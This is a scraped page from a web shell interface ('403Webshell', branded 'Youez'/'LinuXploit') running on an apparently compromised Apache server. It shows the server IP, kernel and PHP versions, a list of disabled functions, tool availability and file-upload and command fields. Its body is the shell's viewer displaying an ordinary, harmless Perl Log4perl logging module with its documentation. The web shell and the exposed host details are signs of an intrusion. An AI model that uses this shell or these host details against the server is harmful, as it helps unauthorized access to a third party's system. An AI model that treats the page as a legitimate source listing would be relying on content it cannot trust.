403Webshell
Server IP : 103.119.228.120  /  Your IP : 3.15.239.0
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/local/share/perl5/Net/Server/Log/Log/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/local/share/perl5/Net/Server/Log/Log/Log4perl.pm
# -*- perl -*-
#
#  Net::Server::Log::Log::Log4perl - Net::Server Logging module
#
#  $Id$
#
#  Copyright (C) 2012
#
#    Paul Seamons
#    paul@seamons.com
#
#  This package may be distributed under the terms of either the
#  GNU General Public License
#    or the
#  Perl Artistic License
#
################################################################

package Net::Server::Log::Log::Log4perl;

use strict;
use warnings;

our %log4perl_map = (1 => "error", 2 => "warn", 3 => "info", 4 => "debug");

sub initialize {
    my ($class, $server) = @_;
    my $prop = $server->{'server'};

    require Log::Log4perl;

    $server->configure({
        log4perl_conf   => \$prop->{'log4perl_conf'},
        log4perl_logger => \$prop->{'log4perl_logger'},
        log4perl_poll   => \$prop->{'log4perl_poll'},
    });

    die "Must specify a log4perl_conf file" if ! $prop->{'log4perl_conf'};

    my $poll = defined($prop->{'log4perl_poll'}) ? $prop->{'log4perl_poll'} : "0";
    my $logger = $prop->{'log4perl_logger'} || "Net::Server";

    if ($poll eq "0") {
        Log::Log4perl::init($prop->{'log4perl_conf'});
    } else {
        Log::Log4perl::init_and_watch($prop->{'log4perl_conf'}, $poll);
    }

    my $l4p = Log::Log4perl->get_logger($logger);

    return sub {
        my ($level, $msg) = @_;
        $level = $log4perl_map{$level} || "error";
        $l4p->$level($msg);
    };
}

1;

__END__

=head1 NAME

Net::Server::Log::Log::Log4perl - log via Log4perl

=head1 SYNOPSIS

    use base qw(Net::Server::PreFork);

    __PACKAGE__->run(
        log_file => 'Log::Log4perl',
        log4perl_conf => '/path/to/my/log4perl.conf',
        log4perl_logger => 'myapp',
    );

=head1 DESCRIPTION

This module provides Log::Log4perl style logging to the Net::Server
system.

=head1 CONFIGURATION

=over 4

=item log_file

To begin using Log::Log4perl logging, simply set the Net::Server
log_file configuration parameter to "Log::Log4perl".

If the magic name "Log::Log4perl" is used, all logging will be
directed to the Log4perl system.  If used, the C<log4perl_conf>,
C<log4perl_poll>, C<log4perl_logger> may also be defined.

=item log4perl_conf

Only available if C<log_file> is equal to "Log::Log4perl".  This is
the filename of the log4perl configuration file - see
L<Log::Log4perl>. If this is not set, will die on startup. If the file
is not readable, will die.

=item log4perl_poll

If set to a value, will initialise with Log::Log4perl::init_and_watch
with this polling value. This can also be the string "HUP" to re-read
the log4perl_conf when a HUP signal is received. If set to 0, no
polling is done. See L<Log::Log4perl> for more details.

=item log4perl_logger

This is the facility name. Defaults to "Net::Server".

=back

=head1 DEFAULT ARGUMENTS FOR Net::Server

The following arguments are available in the default C<Net::Server> or
C<Net::Server::Single> modules.  (Other personalities may use
additional parameters and may optionally not use parameters from the
base class.)

    Key               Value                    Default

    ## log4perl parameters (if log_file eq Log::Log4perl)
    log4perl_conf     "filename"               will die if not set
    log4perl_poll     number or HUP            0 (no polling)
    log4perl_logger   "name"                   "Net::Server"

=head1 METHODS

=over 4

=item C<initialize>

This method is called during the initilize_logging method of
Net::Server.  It returns a single code ref that will be stored under
the log_function property of the Net::Server object.  That code ref
takes log_level and message as arguments and calls the initialized
log4perl system.

=back

=head1 LICENCE

Distributed under the same terms as Net::Server

=cut

Youez - 2016 - github.com/yon3zu
LinuXploit